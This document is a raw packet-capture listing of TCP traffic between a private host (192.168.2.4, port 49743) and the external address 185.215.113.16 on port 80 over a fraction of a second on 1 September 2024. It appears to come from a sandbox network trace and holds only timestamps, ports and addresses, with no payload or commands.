Sep 1, 2024 05:09:14.116650105 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116661072 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116663933 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116672993 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116682053 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116700888 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116720915 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116733074 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116744041 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.116775036 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.116797924 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.171327114 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171344995 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171353102 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171365976 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171375990 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171454906 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.171464920 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171508074 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.171535969 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171545982 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171582937 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171586990 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.171591997 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171601057 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171608925 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171628952 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.171652079 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.171747923 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171793938 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171811104 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171821117 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171833038 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.171833038 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171854019 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171863079 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171865940 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.171889067 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.171931028 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.171958923 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171967030 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171988010 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.171998978 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.172003031 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.172012091 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.172033072 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.172055006 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.172591925 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.172601938 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.172610998 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.172648907 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.172679901 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.172723055 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.172740936 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.172749043 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.172758102 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.172776937 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.172799110 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.172866106 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.172873974 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.172883034 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.172910929 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.172913074 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.172939062 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.172951937 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.173012972 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.173022985 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.173031092 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.173054934 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.173078060 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.173094034 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.173101902 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.173110008 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.173120022 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.173142910 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.173146009 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.173156977 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.173171997 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.173182964 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.173213959 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.173218966 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.175579071 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.203102112 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203355074 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203363895 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203367949 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203372002 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203376055 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203381062 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203387976 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203391075 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203394890 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203398943 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203404903 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203413963 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203418016 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203423023 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203485966 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203614950 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203625917 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203634977 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203659058 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203669071 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203682899 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203716040 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203726053 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.203779936 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.203779936 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.203779936 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.203779936 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.203779936 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.204705954 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.204716921 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.204726934 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.204731941 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.204755068 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.204766989 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.204777956 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.204778910 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.204801083 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.204807997 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.204811096 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.204828024 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.204847097 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.204921007 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.204931021 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.204941034 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.204951048 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.204961061 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.204971075 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.204991102 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.205015898 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205025911 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205029011 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.205055952 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.205058098 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205068111 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205068111 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.205077887 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205106020 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.205131054 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.205158949 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205173016 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205198050 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205208063 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205218077 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205219030 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.205225945 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205249071 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.205267906 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.205336094 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205346107 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205354929 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205364943 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205374956 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205384970 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.205424070 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.205451965 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205462933 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.205487967 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.205512047 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.206722021 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.206763029 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.206772089 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.206815958 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.206828117 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.206839085 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.206841946 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.206885099 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.206887960 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.206897020 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.206906080 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.206926107 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.206943989 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.206991911 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207004070 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207014084 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207021952 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207047939 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207071066 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207072973 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207081079 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207096100 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207118988 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207119942 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207134962 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207166910 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207195997 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207204103 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207214117 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207225084 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207237005 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207240105 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207256079 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207284927 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207304955 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207314968 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207324982 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207333088 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207343102 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207354069 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207371950 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207396030 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207397938 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207408905 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207465887 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207519054 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207531929 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207541943 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207551003 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207559109 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207561016 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207571030 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207592964 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207621098 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207664967 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207674980 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207685947 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207695007 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207705021 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207712889 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207715988 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.207731009 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.207756042 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.262528896 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.262589931 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.262653112 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.262756109 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.262805939 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.262810946 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.262821913 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.262861967 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.262868881 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.262877941 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.262911081 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.262938976 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.262949944 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.262959957 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.262975931 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.262981892 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.263006926 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.263035059 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.263061047 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.263072014 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.263082981 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.263091087 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.263103008 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.263118982 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.263144970 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.263489008 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.263499022 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.263509035 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.263533115 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.263542891 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.263554096 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.263562918 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.263573885 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.263575077 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.263586044 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.263601065 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.263628960 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.263971090 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.264023066 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.264034033 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.264061928 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.264070988 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.264076948 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.264087915 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.264121056 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.264122963 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.264131069 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.264158964 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.264182091 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.294183016 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294192076 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294202089 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294253111 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294261932 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294262886 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.294271946 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294281006 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294289112 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294351101 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294430971 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.294430971 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.294430971 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.294430971 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.294439077 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294447899 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294457912 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294466972 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294483900 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.294523001 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.294543028 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294552088 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294569016 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294576883 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294595003 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.294610977 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.294626951 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294636965 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294645071 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294655085 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294667959 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.294678926 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.294734001 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294742107 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294749975 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.294778109 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.294789076 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.295372963 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295475006 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295483112 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295491934 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295500994 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295520067 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.295541048 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295543909 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.295551062 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295589924 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.295593023 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295603991 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295612097 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295629978 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295635939 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.295640945 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295655012 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.295682907 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:14.295703888 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295769930 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295779943 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295789003 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:14.295809031 CEST	49743	80	192.168.2.4	185.215.113.16
